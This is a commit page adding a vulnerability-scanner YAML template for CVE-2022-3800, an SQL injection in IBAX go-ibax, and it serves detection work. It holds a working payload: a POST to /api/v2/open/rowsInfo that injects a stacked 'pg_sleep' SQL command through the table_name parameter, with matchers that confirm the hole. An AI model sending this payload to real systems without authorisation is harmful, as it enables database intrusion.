Merge pull request #6772 from JC175/add/CVE-2022-3800

Add CVE-2022-3800 Template
patch-1
Ritik Chaddha 2023-03-22 17:00:16 +05:30 committed by GitHub
commit 6980fe63fb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2022-3800
info:
name: IBAX go-ibax - SQL Injection
author: JC175
severity: high
description: |
A vulnerability, which was classified as critical, has been found in IBAX go-ibax. Affected by this issue is some unknown functionality of the file /api/v2/open/rowsInfo. The manipulation of the argument table_name leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used
reference:
- https://github.com/IBAX-io/go-ibax/issues/2061
- https://nvd.nist.gov/vuln/detail/CVE-2022-3800
- https://vuldb.com/?id.212636
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cve-id: CVE-2022-3800
cvss-score: 8.8
cwe-id: CWE-89
tags: cve,cve2022,ibax,go-ibax,sqli
requests:
- raw:
- |
@timeout: 15s
POST /api/v2/open/rowsInfo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
order=1&table_name=pg_user"%3b+select+pg_sleep(6)%3b+--"&limit=1&page=1
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "usesysid")'
condition: and